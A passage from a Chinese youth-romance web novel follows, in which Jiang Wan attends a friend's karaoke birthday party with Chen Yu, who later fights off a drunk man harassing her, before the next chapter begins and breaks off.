主要是这地方, 姜挽不大想去。平时瞒着沈曼和他们出去吃吃饭也就算了, 真要是去了这种地方,被沈曼知道了, 她就别想有安宁日子了。 “尤伽, ”她叫她,声音有些吞吐, “要不我还是不去了吧, 这种地方我没去过,而且其他人我也不认识, 要不然你们好好玩儿, 礼物等去学校了我再给你吧。” “别呀,你得来,”一听她这样说, 尤伽当即有些不高兴,委屈巴巴地解释,“你是我最好的朋友,这种场合你要是不在的话,我会很遗憾的。” 尤伽那头像是换了个安静的地方,没了刚才的吵闹,声音也清晰了不少:“而且也没有其他人,就陈屿和孟云程,我朋友不多,其他人都是孟云程带来帮我撑场子的,他比我熟悉。” 一听陈屿也在,姜挽就有些动摇了:“那我先看看过去的路线,一会儿微信再和你联系。” 姜挽正准备挂断电话,突然听到尤伽在电话里喊了她一声:“呦呦,你先等一下,先别挂。” “好。” 很快,通过电话,姜挽能听到她似乎在和别人交谈,但具体说了什么听不清。没多久,尤伽再次切回来,语气很兴奋:“呦呦,你不用查了,陈屿说他过去接你。” “谁?”姜挽还以为自己听错了。 “陈屿啊。” “他来接我?顺路吗?” “应该不是,他已经到了呢。刚才和我说话的就是他,从包厢追出来的,问我是不是在和你打电话,一听说是,就立马说要去接你。” 所以,现在的情况是,陈屿专门来接她,然后他们两个人再一起返回,姜挽觉得真是太麻烦了:“不用了,你和他说,不用来接我,我自己过去就行。” “好,你等下,我去看下。” 电话里一阵空白,应该是尤伽去看了,很快再次回来:“呦呦,已经来不及了,他已经坐上车,人都走了。” 姜挽:“……” 电话那头好像有人在叫尤伽,尤伽也就没再多说,叮嘱她:“呦呦,一会儿陈屿接到你了,你记得和我说一声哈。” 事已至此,姜挽也没什么能说的了:“好,你先去忙吧。” 挂了电话,姜挽给陈屿去了一条微信,虽然知道希望不大,可还是打算尝试一下:【尤伽说你过来接我,其实不用麻烦的,我可以自己过去的。】 【我已经在车上了。】陈屿言简意赅。 【要是方便的话,你能不能让司机再掉头把你送回去?】 【不方便,这里是单行道,而且一上车就和司机说好了。】 【好的,那麻烦你了。】 【不麻烦,反正在那里待着也是无聊。】 无聊? 姜挽刚才明明听尤伽说今天去的人里面,孟云程的朋友居多,那些人陈屿应该也认识的呀,为什么会觉得无聊呢? 她刚想问,陈屿突然又发了一条微信过来:【你先收拾,快到了我联系你。】 【好的。】这句发出去,姜挽又想到了另外一件事情,虽然知道不太合适,可她还是说了,因为对面是他,所以过分的事情貌似也能说。 【今天我妈妈也在家。】 陈屿回的很快:【知道了。】 放下手机,姜挽先去沈曼房间,虽然之前已经和她提过这件事了,可出门前,还是得再说一声。 沈曼正对着电脑核对资料,见她进来,取下眼镜:“怎么了?” “妈妈,我之前和你提过的,今天我同学过生日,让我一起过去吃饭。” “尤伽是吧,”沈曼记得这个名字,因为是女孩,她倒是也不太反对,“你们在哪里吃饭,是正规餐馆吗,不是什么乱七八糟的地方吧?” 姜挽愣了一下,可还是摇头:“不是,就普通的餐馆。” “人多吗?都有谁?”沈曼并没有一口答应。 姜挽知道这次她如果再回答只有她和尤伽的话,沈曼肯定不会信的,于是想了想,还是打算直说:“除了我和尤伽,还有她一些其他的朋友。” 果然,沈曼一听,脸色就有些不好看了,放下鼠标,眼神也从电脑上移开:“那会有男生吧?” “会有的。” “那些男生你认识吗?” “有两个认识,是我们同班同学,其他的不认识。” “呦呦,”沈曼叹一口气,“我说过很多次了,不要和异性过多接触,这些对你学习没有好处的,你怎么就不听呢……” 还是老生常谈的那一套,沈曼脸色变了,语气也跟着变了,姜挽就在那里站着,一开始还能听得进去,后面也不知为何,突然发现这些东西就和过耳云烟一样,怎么也进不了她的脑子了。 “妈妈,”第一次,她打断了沈曼,语气很软,几乎算是祈求了,“你之前不是也说我来北城之后就一直在学习,没有其他的娱乐方式吗?尤伽是我在这里唯一的朋友,今天是她的生日,人家都邀请我了,而且我也已经答应了,我不想食言。” 她很认真,认真到沈曼不得不以一个平等的姿态来和她对视。 “你就这么想去吗?” 见有希望,姜挽忙保证:“我一定会早点回来,不会让你担心的,好吗?” 沈曼原本还想再说些什么,可看她这么坚持,也就没再说:“算了,仅此一次啊,你去吧,记得一定早点回来。” “好的,谢谢妈妈,我收拾下就出门。”她没提陈屿会来接她的事情,因为知道一提,今天可能就出不了门了。 回到房间,姜挽便开始挑衣服,她衣服不多,且几乎都是当初从江城带过来的,来到这里,就没买过新的。因为不多,也就没有太多的选择,她顺手拿了毛衣和半裙,又简单把头发收拾了下。 这些都弄完后,还没收到陈屿的消息,她便又把书桌整理了一遍。 做这些的时候,姜挽一直带着手机,因为她担心陈屿要是突然打电话过来,会被她妈妈听到。 事实证明,姜挽的担心实在有些多余了,陈屿不仅没有给她打电话,甚至连停车的位置也都是选在最隐蔽的地方。 【我到了,你下来吧。公交站对面的小巷子,进来后往右拐,差不多三十米的位置就是。】 收到微信,姜挽忙放下手里的东西,背了包往外走,她还以为陈屿会提前和她说呢,现在这种情况,他不就得在那里等她了吗。 【好的,不过我刚出门,你可能要等一会儿。】 【不着急,你慢慢走。】 【对了,车牌号是多少呢?】 【不用,你过来了我就能看见你。】 按照陈屿给的路线,姜挽很快便过了马路,进了小巷后往右拐,果然一抬头,便看见陈屿站在一棵悬铃木下,很显眼的一个位置,旁边还停着一辆出租车。 他穿黑色卫衣和同色系牛仔裤,脚上踩一双白色球鞋,带着黑色的棒球帽,单手插兜站在树下。悬铃木的树荫下,显得身材颀长挺拔。 看见姜挽的瞬间,他朝她扬了扬下巴。 姜挽第一次见他这种打扮,和以往在学校时的校服相比,青涩褪去了些,更多了几分酷酷的帅气。 她在看他,陈屿当然也在看她。 今天的姜挽一身白色毛衣搭配蓝色半身裙,头发半扎着,几缕垂在胸前,秋日的阳光下,显得温婉又沉静。 她就是有这样的气质,明明是极普通的衣服,可穿在她身上就会有不一样的感觉。陈屿一下便想起第一次遇到她时的场景,不过那时他是在暗处,她没看见他,这会儿两人是面对面。 从某种程度上来说,也算是一种进步吧。 姜挽走近了,有些气喘吁吁,因为担心他等太久,她一路都走得很快:“不好意思,等久了吧?” “没有,”陈屿很自然地接过她的书包,“不是说了别着急吗?怎么还跑起来了?反正以你这身高,走几步,跑几步,其实没多大所谓,我都能等。” 经过这几次下来,姜挽对他帮她拿书包的这个举动,已经不拒绝了,因为不管她怎么反抗,到最后陈屿还是会坚持,书包最终还是会到他手上。 只是她对他刚才的另外一句话有点意见,于是小声申辩:“我没有跑,只是走得比较快而已。而且,我身高也不矮。” 168的身高,虽然不能和他比,但在女生里面已经算是高个子了。 陈屿正在帮她开车门,听她这么说,瞬间扭头看回来,语气含着笑:“怎么,说你矮,还不服气了?” 姜挽拿脚来回踢着一颗小石子,就是不看他:“我不矮。” “是吗?那咱们来比比。” 话音落,也没给她准备的机会,便朝她跨近两步,瞬间站在了她面前。垂着眸,自上而下看着她,许是因为帽檐的缘故,他眉眼压得很低:“现在还觉得自己高么?” 这么近的距离,姜挽对上他漆黑的瞳仁,还有鼻尖淡淡的清香,脑袋瞬间就乱了。她趔趄着后退了两步,脚后跟碰到什么,伸手往后一摸,才知道是悬铃木的树干。 她不由自主靠上去,声音有点结巴:“我……我也没说和你比呀。” 陈屿笑:“哦,你一开始没说清楚,我还以为你是想和我比呢。”说着,他伸手去拉她的胳膊,拉住了,又帮她拍了拍后背沾上的灰尘,而后拉着她坐进了出租车后座。 “还有,”手撑着车门,他叮嘱她,“以后走太快也不行,过马路那里太危险了。下次记住了,慢慢走,无论多长时间我都等你。” 这一系列的动作太快,等姜挽反应过来的时候,陈屿已经从另外一侧上来,而且还在她身边坐下了:“师傅,麻烦还回原来的地方。” “好嘞。”司机应一声,随即一脚油门,车子从小巷离开。 一路,姜挽都比较安静,她的性格就是这样,比较慢热。刚才只有她和陈屿在的时候就很自然,这会儿有其他人在了,就很难再回到刚才的状态了。 陈屿也看出来了,也是怕她无聊吧,所以又开启了新的话题:“你给尤伽准备了什么礼物?” “口红。” “我看看?” “就在书包最外面的夹层里,我拿给你看。”说罢,姜挽就要去翻。 她想把书包拿回来,陈屿却不让,偏偏就着放在他腿上的姿势让她找,姜挽拗不过他,只得照做,好在她放的位置很好找。 口红其实很好看,先是最外面一层精品袋,打开后是一个盒子,里面还有一层垫纸,最后才是一层丝绒布,精致包裹着一只子弹头样式的口红。一看就是她精心挑选的。 “你常用这个牌子?”陈屿拿在手里看了看,很好奇。这么好看的包装,一看就是专门有研究过,可他平日里好像也没没见她涂过口红,基本都是自然的唇粉色。 “不是,”姜挽摇头,“这款口红是这家店的新品,款式质地都不错,最近好多人推荐。而且尤伽之前也提过她喜欢,所以我就买了。” 听起来,像是价格不便宜:“那你呢?” “我什么?” “你喜欢吗?”陈屿追问。 其实当然是喜欢的,只是她不得不考虑自己的经济状况罢了。姜挽将口红仔细收好,重新放回去:“还行,我不是很喜欢,感觉不适合我。” 陈屿垂眸看着她,等她把东西放好后,才开口:“我不认为,我觉得很适合。” 姜挽没把他的话当真:“你是男生,可能不大懂这些。” 前排的司机是个热心人,听他俩对话许是觉得有趣,这个时候便插上一句:“小姑娘,你就听你男朋友的吧,你男朋友眼光很好的。” 听到“男朋友”三个字,姜挽一下子便脸红了,她原本以为陈屿会解释,可等了两秒见他没动静,正打算自己开口,却没想到司机师傅还有后话。 “小姑娘你好福气呦,你男朋友不仅长得帅,对你也很好的。刚才过来的路上一直让我尽量快点,怕你等久了。到地方了也是,车刚停稳就下去等你了,你要珍惜呦。” 司机师傅也不知道是哪里人,说话口音自带质朴和搞笑,听他这样苦口婆心地劝说,姜挽一时竟有些哭笑不得。 “师傅,其实我们不是……” 姜挽想解释,师傅却当她是不好意思:“没关系,我很开明的,我和我老婆当初就是高中认识,大学一毕业就结婚了,如今儿女双全,别提多幸福了。” “我们真的……” “真的互相喜欢,对吗?”司机师傅很笃定,一副过来人的架势,“很多人可能会说现在年纪太小什么都不懂,可我却觉得只有这个年纪的感情才是最真挚的。等年纪大了再回头去看,有些人,有些事,其实一开始就注定好了。我能看出来,你们两个呀,是有缘分的。” 得,姜挽干脆放弃解释了,这简直就不在一个频道上。而且这师傅基本每一句话里都带着他自己的经历,姜挽也不好说什么。 她去看旁边的陈屿,原本想让他帮忙说两句的,说不定这样,就能多一份可信的力量,可偏偏这个时候他却在抱臂假寐,姜挽叹一口气,不得不再次独自面对。 好在后面师傅也多是说他和他老婆的事情,姜挽只听着就行,也就没一开始那么尴尬。 好不容易到了地方,姜挽松了一口气,正打算叫陈屿,却发现不知道什么时候他已经醒了,这会儿正拿手机给司机扫码付款,那样子别提多清醒了。 “你没睡着啊?” “谁说我睡着了?” “那你刚刚……”姜挽想问他为什么没睡着也不吭声,可司机还在车上,有些不好开口,于是还是打算先下车:“我先下去等你。” “嗯。”陈屿点头,顺便把钱给司机扫了过去。 前排的司机也注意到了:“小伙子,你怎么付这么多?” 陈屿收拾东西打算下车:“不多,应该的,您刚才还陪我在那里等了不少时间。” 司机也是个实在人:“不行,不能这么算的,等你是我们一开始就说好的,我不能现在要求加钱。” “不是您要求,是我主动加的。”陈屿看向车外的姜挽,目光变得温柔,“您可能还不知道,您今天无意中或许帮了我一个大忙。”他下车,关上车门,“所以,我得好好谢谢您。” 司机是过来人,他这么说,便有些明白了,隔着车窗和他做出“打气”的手势:“小伙子,加油,我看好你呦!” “借您吉言。” 姜挽在不远处看着他们,觉得有些奇怪。等陈屿走过来后,她便问道:“你们刚才说什么呢?” 陈屿面不改色地撒谎:“没什么,留个联系方式,以后需要打车的时候联系他,他如果在附近的话,可以打折。” “你下次还要坐他的车啊?”姜挽有些惊讶。 “怎么了?他人不是挺好的吗?” “我不是说他的人,我指的是他的话,你没发现这个师傅在车上说了很多话吗?” “有吗?还好吧。”陈屿提着她的书包在前面走,姜挽跟在后面。 “有啊,”提到这个,姜挽还有其他的话说,“对了,刚才在车上,你明明没睡着,为什么不和他解释呢?” “解释什么?”陈屿比她走得快,时不时会回头看她一眼。 “解释我们不是男女朋友啊。” “哦。” “哦”是什么意思,姜挽不理解:“所以,你刚才为什么不和他解释呢?” 她以为陈屿会用“假寐”或者“没听到”这种借口,没想到他竟然直接说:“这种事,清者自清,浊者自浊,有什么需要解释的吗?” “当然有了,刚才他明显是误会了。” “所以,你很介意?”陈屿突然停下,姜挽差点撞上他的后背,“被他误会你和我是那种关系,你很介意?” 姜挽退开两步,给他们二人之间留了一点空间,说不上来什么原因,她忽地有种矛盾拉扯的感觉,她想要的,和她实际能要的,似乎是两种不同的东西。 她避开了他的问题:“你知道的,我妈妈不喜欢我和异性接触,我怕她会知道。” “你妈妈现在不在这里,她也不会知道,”陈屿直接排除这种假设,某种程度上,他迫切地想要知道答案,“我问的是你,你会介意吗?” 姜挽低着头,没吭声。 陈屿不死心地又追问了一遍:“你不回答,是介意了?” 姜挽还是不说话,指尖来回绕着毛衣的下摆。 陈屿当即一锤定音:“那我就当你是不介意了。” “走吧,”他声音明显比刚才欢快几分,“尤伽他们还在等着。” 姜挽一路跟着陈屿,刚到楼下,便看见了尤伽的身影,她正拿着手机打电话,眼睛还不断往门口的方向看,看清她和陈屿后,忙匆匆挂了电话,朝他们跑来:“呦呦,你总算来了,这么长时间,我还以为路上遇到了什么事,你不来了呢。” “怎么会,我答应你了,就一定会来的,只不过路上有点远,用的时间长了点。” “是啊,确实挺久的,还好陈屿去接你了,不然我还不放心呢。” 说着,她们二人同时去看旁边的陈屿,这才发现他正提着姜挽的书包,一副百无聊赖的表情看着她们。虽没开口,可那神情已经再明显不过了,分明在说,有什么事,一定得在这里说吗? 尤伽反应过来,拉着姜挽:“走,我们先去包厢,去包厢再聊,而且那里还有很多好吃的。” 穿过大厅,坐电梯上六楼,再经过一段铺着长绒地毯的走廊,她们便来到了今天尤伽生日会的包厢。 门打开,包厢里的人瞬间都朝他们看了过来,尤伽一一介绍,孟云程帮忙补充,看得出来,孟云程比尤伽更熟了。 孟云程熟的人,陈屿自然也熟,他很随意地和他们打招呼,随即找了一个位置把姜挽的书包放下,又招手让她过去。 姜挽刚准备动,人群里突然传来一声调侃,是一个高个挑染发的男生:“呵,陈少,你这可不行,重色轻友啊!原来刚才那么着急离开,丢下兄弟,是因为和佳人有约啊!” 这话没恶意,且他们男生之间经常会这么开玩笑,可这会儿姜挽在,陈屿知道她脸皮薄,害怕她不高兴,便顺手拿起桌上的一个空饮料瓶,虚虚朝那人投过去:“少废话,赶紧唱歌去!” 塑料瓶在空中划过一道弧线,继而稳稳落入对方手中,高个男生笑了:“得,不开你玩笑了,我们去唱歌喽,你也赶紧来。” 陈屿笑骂道:“赶紧滚。” 笑闹声过去,人群散开,陈屿才敢去看姜挽的脸色,刚才在车上只有他们两个,司机也是不认识的人,调侃两句没关系。可这会儿,几乎都是认识的人,他怕她会不高兴:“他们说话就那样,没有别的意思,你别介意。” 青春期的男生,姜挽多少也有些了解,且今天是尤伽的生日宴,自然什么都以尤伽为主,于是很大方地开口:“没事。” 陈屿松一口气,刚想问她想喝什么,却又听到她再次开口:“他们玩笑开得这么熟练,应该也不是第一次了吧,你以前参加这种场合的时候,是不是也去接过其他女生?” “……?”陈屿难得吃瘪,一口气憋在心口,几乎被憋成内伤,心中暗想,还真是个小白眼狼。自己这么掏心掏肺地对她,到头来竟然还被怀疑? 他沉着脸:“你怎么会有这种想法?我这是第一次!” “哦,我随便猜的,没有就没有,怎么还生气了。”姜挽垂下眼睫,将眼底那点笑意掩藏起来,方才路上被他捉弄,这会儿才感觉扳回一局。 陈屿显然没打算放过她,对她刚才的话耿耿于怀:“不是,你有这种想法就不对,没事瞎猜什么?” “那我以后不瞎猜了。”姜挽乖乖点头,顺便指了指桌上的一瓶饮料,靠近陈屿那侧,“那个,能帮我拿一下吗?” “不能。” 陈屿嘴上说着不能,可手还是很自然地去帮她拿了,白桃味的碳酸饮料,拿在手里有些冰。姜挽只碰了一下,便又把它放了回去。 陈屿纳闷地看着她。 “太凉了。”姜挽老实回答。 陈屿看她一眼,没说话,而后面无表情地将这瓶饮料放在自己面前,又给她换了一瓶常温的,还特意帮她打开了。 没想到姜挽还是不喝。 “又怎么了?” “我不喜欢里面的气泡,想静置一会儿再喝。” “不喜欢气泡,那你还喝碳酸饮料?” “喜欢它的味道。” 陈屿叹气,又从旁边拿来一个玻璃杯,将饮料倒了大半杯进去,这样一来一回地晃动,气泡便逐渐消散了。等到最后一个散尽,他端给她:“这样总可以了吧?” “可以了,谢谢。”姜挽尝了一口,味道还不错,“我能不能再请你帮一个忙?” “还有什么其他要求,你最好一次性全说完。”陈屿的表情已经从一开始的不悦变成此刻淡然的平静了,甚至还带着点无奈,他真是拿她一点办法都没有。 “我还想尝尝你右手边的坚果。” 坚果种类很多,陈屿细心地把每一种都帮她挑了一份,他手上的动作温柔,可嘴上就没那么和善了:“你是该多吃点,就你现在这身板,来一阵风就能把你吹倒了。” 姜挽随他说,反正他都已经帮忙了,说两句就说两句吧。 姜挽边吃坚果,边喝饮料,时不时再听听大家唱的歌,觉得还挺自在的,逐渐也就没一开始那么紧绷了。 恰巧尤伽刚唱完一首歌,便怂恿姜挽也过去唱一首,姜挽拒绝了,让她听还行,要是在这么多人面前唱,还是算了吧。先不提她那上不了台面的唱歌水平,就这社恐的性格,也够她难受的了。 尤伽却有意想让她突破一下自己,也想让她多参与参与:“呦呦,来吧,我帮你点一首。” 这时,人群里突然冒出来一句:“陈屿好像也没唱,我们还从来没听他唱过歌呢。” 话音落,立刻有人附和:“给他俩点一首合唱吧,一首情歌大合唱。” “合唱!合唱!合唱!”这种场合,最是容易起哄。 看着这热烈的场面,姜挽有些慌了神,她看向旁边的陈屿,向他求助:“怎么办?” “你不会唱歌?” “会一点,但不好听。” 陈屿笑了:“倒是还挺有自知之明的。” 说罢,他将酒杯里剩的那点酒一饮而尽,冲着起哄的那群人走过去,笑骂一句:“一群落井下石的玩意儿,等我唱完,你们一个也跑不掉!” 大家想听的是合唱,他一个人上来,自然是不满意的:“谁要听你唱呀,我们要听的是合唱,男女对唱的那种。” 陈屿打断他们,霸气开口:“她不会,我替她。” “这可不行,”有人较真,“你怎么知道人家不会呀?再说了,你和人家是什么关系呀,凭什么替她?” 人群里有人开始吹口哨,陈屿无奈:“你小子挑事是不是?” 话虽这么说,他还是折回去问了姜挽的意见。室内很喧闹,头顶炫彩的灯光不停闪烁,更衬得他眼神清亮:“你行吗?” 到这一步,姜挽也考虑不了太多了:“没什么行不行的,大不了唱得难听,反正难受的也不是我自己的耳朵。” 陈屿笑了:“那你想唱哪一首,我去点。” 姜挽太久没听歌了,对现在的流行歌曲不熟悉,以前的老歌倒是还能记得几首,可一时也想不起来歌名:“随便吧,尽量不要点太流行的就行。” 尤伽在旁边听见了,自告奋勇地跑到点歌台:“我来帮你们点,点歌我熟。”她选了一个名字叫“怀旧经典情歌”的文件,点进去,直接选了排榜第一首,《知心爱人》。 旋律一出来,大家都笑了:“这歌可以,够经典。” 姜挽这会儿已经来不及思考这歌名和歌词的含义了,只是觉得旋律很熟悉,在脑海里迅速搜索了下,发现竟然还真能跟着唱,也就跟着旋律慢慢开口了。 确实如她所说,她唱歌一般,倒是陈屿音准和音色都极好,只不过为了配合她,一首歌也没怎么发挥,基本都在帮她起调和合声了。 整体下来,许是陈屿的唱歌起了作用,也可能是大家比较给面子,硬是夸他们唱得好听。 姜挽知道自己的水平,不敢居功,唱完后的第一件事便是感谢陈屿:“刚才谢谢你啊。” 陈屿对她的这些感谢没兴趣,反倒是比较在意另外一件事:“你刚才唱得还挺有感情的。” 姜挽以为他是在夸她,还有点兴奋:“是吗,你听出来了?” “嗯,我听出来了,”陈屿故意停顿,指尖随意转动着桌上的酒杯,侧眸来看她,那眼底噙着的笑意姜挽看不懂,“你知道这首歌的意思吗?你就对我唱得那么投入?” “意思?”姜挽一愣,这才想起来歌名,《知心爱人》…… 刚才她只顾跟上伴奏了,根本没考虑这歌名和歌词的意思,现在一想才恍然大悟,怪不得陈屿刚才会用那种眼神看她呢,不会是误以为她对他有那方面的想法吧? 好吧,她承认,虽然有时候她对陈屿确实是有不一样的感觉,可刚才那种情况下应该没有表现出来吧,刚才她的眼里就只有歌词啊。 “那个,你可能误会了,我其实并没有……” “好了,你不用解释了,”陈屿没让她说完,“我懂,唱歌嘛,情景入戏了嘛,我可以理解。而且你放心,我没那么小气的。” “但是……” 姜挽还想再说些什么,那头有人叫陈屿,陈屿干脆起身,抻了抻衣服的下摆:“别解释了,我都说了,我不介意的。”临走前,他留下一句,“我去看看什么事,很快回来。” 姜挽:“……” 这下真的说不清了。 陈屿在那边像是有事,十几分钟过去了,还是没回来。这段时间里,他每隔一会儿便会朝姜挽投过来一眼,那眼神里有明显的歉意。 姜挽偶尔和他眼神碰上,便会示意他“没事”,她一个人待着也挺好的,而且他也没有义务一直陪着她。 又坐了会儿,姜挽想去趟厕所,陈屿还在和那些人说话,尤伽正沉浸式嗨歌,她推开门,默默出去了。 刚才和陈屿他们一起走的时候不觉得,这会儿姜挽一个人,突然发现这里的装修虽然豪华,可整体风格还是偏暗。 几何造型的墙壁,造型夸张的摆件,还有无处不在的金属质感的昏暗光线,确实能营造出一种隐秘的风格,可隐秘的同时也就意味着不安。 包厢离卫生间有段距离,姜挽一路按着指示牌走,中途碰上一个正抱着垃圾桶狂吐的人,嘴里还不干不净地骂着脏话。许是喝懵了,见到姜挽,作势就要来抓她手臂,姜挽赶紧绕过他,快速离开了。 从卫生间出来,姜挽特意慢了几分钟,目的就是为了躲开那个人,可没想到穿过走廊的时候,还是和他碰上了。只不过这次他已经站起来了,一张脸被酒精烧得通红,眼睛里全是混浊的酒意。 见到姜挽,他胡乱拿袖子擦了一把嘴,油腻地笑着,语气十分轻佻:“小妹妹,刚才见到哥哥,你跑什么呀?” 他这么一开口,倒是让姜挽看清了他的长相,很瘦,长脸,看起来比她大不了几岁,只是那满头的黄毛实在是扎眼。 遇见这种人,姜挽并不打算和他纠缠,而且她也记得陈屿之前的话,这种时候要镇定,保护好自己才是第一要位。 她转身要走,没想到那人竟然从后面追了上来,一把抓住她的胳膊:“小妹妹,你跑什么呀,哥哥我又不会吃了你,别害怕,我只是想和你……”说着,他打了一个嗝,满嘴酒臭地继续开口,“只是想和你认识一下而已。” 他虽然喝醉了,可力气实在大,姜挽挣了两下没挣开,有点慌。四周看了一眼,发现这个地方刚好在角落,再加上周围紧闭的包厢门,估计呼救都没人听得见。 那人见她不说话,更放肆了,抓住她的一只胳膊,还觊觎另一只:“小妹妹,别害怕,哥哥没有别的意思,只想和你交个朋友而已。我他妈真是好久没见过你这么清纯的学生妹了!” 姜挽一边寻找逃脱的路线,一边和他周旋:“你别碰我,我和我朋友一起来的,他们就在旁边,我叫一声,他们马上就过来了。” 哪知对方根本不害怕:“你叫呀,看看叫破喉咙他们能不能听到。” 说着,他就要上来摸她的脸,姜挽吓得赶紧闭上了眼,开始大叫,不是叫救命,而是叫“陈屿”的名字。 但想象中的恶臭并没有贴上来,取而代之的是“咔嚓”一声骨骼断裂的脆响,还有对方的惨叫。 惊吓中,姜挽睁开眼去看,这才发现陈屿真的出现了,而且此时正钳着那人的胳膊,扭打着把他往后拖。 “我操你妈!”那人趔趄着后退,疼得龇牙咧嘴,“你他妈是谁?竟然敢打我,知不知道我是谁?” 陈屿才不管他是谁,他的火根本就压不住。他擒住那人的肩膀把他往后拽,拽到墙边,“咚”的一声狠狠顶上去,继而掐着他的脖子把他的侧脸抵在墙上。 “我他妈管你是谁!你敢碰她,就应该想到后果!” “说,哪里碰的她。” “我他妈……啊!” 那人话还没说完,当即转变成一声惨叫。 “哪里碰的她。”陈屿还是这句话,只是他的语气和脸色比刚才更吓人了。 那人许是怕了,哆哆嗦嗦地开口:“手……手……” “哪只?” “两……两只。” 接着,便传来两声清脆的骨骼断裂声,随即“扑通”一声,那人尖叫着倒在了地上。 “人渣。” 陈屿没再多看他一眼,径直从他身上跨过,来到姜挽面前,一把将她拉近了仔细检查。 胳膊,手背,还有脖颈,所有露在外面的地方,他都仔细检查了一遍,确保她一点都没有受伤后,才开口:“有没有事?” 姜挽摇摇头,有点还没从刚才的惊吓中缓过来。这不仅是她第一次经历这样的事情,还是第一次见到陈屿打架。以前见到的都是他在学校里的样子,今天经历了这一遭,真真实实见识到了另外一个他。 狠厉,凶猛,戾气很重,像是要置对方于死地。 “吓到了?”陈屿似乎看出了她的想法,第一次在她面前这样,他也有些心虚,“被我,还是被他?” “没有。”姜挽果断否认,对那个人,她更多的是恶心,对他,就更不会了。 “我只是在想,你怎么突然就出现了?” 不提这个还好,一提这个陈屿就生气:“我再不出现,你还不知道被欺负成什么样呢!”他话锋一转,带着质问,“你刚才出来为什么不和我说?” 他只不过和那帮人多喝了两口酒,一扭头她就不见了,里里外外找了好几遍也没找到,要不是听到她叫他,今天这事他真不敢想象会发展成什么样。 姜挽也有些后怕:“我只是想出来上个厕所,没想到会发生这种事。” 陈屿心里堵着一口气,一口叫作“惊魂未定”的气,所以他的语气格外尖锐:“你没想到?你能想到什么?白纸一张!”他像是气,但更多的是担心,“与其期望你能想到,还不如寄希望于这世上再没有这种人渣!” 姜挽知道他是担心,也就乖乖不吭声。 见她这样,陈屿又有点心疼,后悔自己刚才的话说重了:“怕不怕?” “有点,不过我想着你上次告诉我的,第一要位要先保护好自己,我也就没那么害怕了,就想着该怎么脱身。” 一瞬间,陈屿看着她,竟然说不出话来了,她竟然这样把他的话放在心上。 什么焦躁,郁闷,狂怒,刹那间全被抚平了,被她的三言两语,被她的稍有回应。 陈屿伸出手,轻而快地揉了下她的头发,出口的话很拽,可语气却温柔得不行:“还行,还不算太傻。而且,你刚才还知道叫我,这点表现也不错。” 姜挽有点不服气,小声嘀咕:“我本来就不傻好吗。” “是吗?不傻你被人拦在这里脱不了身?”陈屿垂下头来看她,两人离得很近,两双眼睛里都是彼此的倒影,“你要是能拿出和我顶嘴的这个精神头来对付地上的这个人,怕是他早被你打跑了。” “哪有,我明明什么都听你的。”话一出口,姜挽才意识到语气有点怪,不像是埋怨,倒像是撒娇。她很尴尬,于是赶紧岔开话题,故意指了指地上躺着的那个人,“他怎么办?” 陈屿看都懒得看:“不管他,我们走。” 说罢,他带着姜挽准备回包厢,刚迈步,地上突然传来一声呻吟,接着便是断断续续的一句:“你他妈……到底……是谁?” 陈屿头都没回:“北城八中,高三二班,陈屿,记住了,别找错人了。” 回到包厢,大家见他们二人一起进来,又开始起哄,陈屿也就没解释,与其说一大堆刚才发生的事情,还不如就让他们这样误会着。 姜挽也没想着解释,毕竟刚才那件事情,她是真的不知道该怎么开口。 好在起哄只是一时的,喧嚣也很快散去,今天的主角终归不是他们两个人。包厢很快又恢复热闹,切蛋糕,唱生日歌,在这里嗨完后,他们又转战火锅店。 浩浩荡荡一群人,结束时,好几个都已经喝醉了,大家互相搭伴打车回家,按就近原则分配。不过陈屿当然还是和姜挽一起,孟云程负责送尤伽。 陈屿今天也喝了不少,倒是姜挽一点没喝,所以回去的路上,基本都是她在讲话,陈屿听。聊着聊着,姜挽的手机突然响,她拿起来看了一眼,瞬间变得有些紧张。 陈屿虽然话不多,可对她的情绪感知却十分明显:“怎么了?” “是我妈妈,”姜挽一脸难色,“她说要来下车的地方接我。” 陈屿一听就懂了,酒意瞬间清醒,胸腔里绵长的,全是苦涩。这种感觉就好像他们有多么见不得光,就好像刚才一切的暧昧与美好都是假象。 他其实很不愿意,可为了她,还是不得不违心地说开口:“别怕,我不下车,你就说是拼车就好。” “不好意思。”姜挽垂着眼,她也不知道她为什么道歉。 “没事,别想太多,我能理解。” 陈屿安慰她,可不这样说,他又还能说些什么呢。 感情里,最先爱上的那个人,就好似一头被驯化了的野兽,早已没了原始的自我本能,所思所想,一言一行,不过皆围绕着对方罢了。 到了地方,果然远远便看见沈曼的身影,姜挽不敢多耽搁,忙推开门下车,甚至担心被沈曼看出来,她离开的时候连一句“再见”都没来得及和陈屿说。 沈曼给她带了外套,姜挽其实不觉得冷,可她还是穿上了。因为沈曼对她一直管得都比较严,没必要因为这点小事惹她不高兴。 趁着穿外套的功夫,姜挽回头去看,夜色茫茫,刚才停车的地方已经空了,哪里还有半分他的影子。 “呦呦,呦呦……” 耳边有声音,是沈曼在叫她,姜挽忙回头:“妈妈,怎么了?” “你想什么呢?跟你说话也没反应。”沈曼有些不悦。 “我没听见,你刚才说什么?” “我问你下午玩得怎么样。” 姜挽知道沈曼会问,所以一早便想好了说辞:“挺好的,我们先去逛了街,然后又吃了饭。” “嗯,”听她这么说,沈曼没再问,“对了,刚才下车的时候,我看车上好像还有一个人,你认识吗?” 姜挽愣了一下,随即还是照着陈屿教她的开口,“不认识,是拼车的。” “以后尽量不要拼车,这年头社会乱,不知道会遇上什么人。” “好的,我知道了。” 到了家,沈曼离开后,姜挽第一件事便是给陈屿发了一条微信过去,把她想说的,刚才没来得及说的,全都在微信里写了出来。 【刚才没和你道别,实在不好意思,你路上注意安全。】 陈屿收到这条微信的时候,正低头摆弄着手机,思考着要不要给她发一条微信过去,没想到她的消息就来了。 他唇角勾着笑,猜测:【已经到家了?】 【嗯,进屋了。】 陈屿知道她的难处,为了宽慰她,他没再继续这个话题,而是隔着车窗拍了一张照片发给她:【今晚月色真美。】 虽然不明白他为什么突然发这样一张照片过来,可姜挽放大了看,也觉得确实挺美的:【你拍照技术挺好的。】 看到她的回复,陈屿苦笑了下:【折腾这么长时间也挺累的,别想太多。早点休息吧,晚安。】 【好,晚安。】 第22章 擦药 接下来的几天, 姜挽经常会在校门口看见几个奇装异服的人,他们打扮夸张,烟不离手,嘻嘻哈哈地对着放学的学生各种打量。 一开始她也没怎么在意, 直到有一天突然在那群人里看到了之前KTV的那个黄毛, 姜挽当场就有一种不好的预感。 隐约中想起来, 当时他们离开时, 那人确实问了陈屿的信息。 她把这些告诉了陈屿, 陈屿倒是没惊讶, 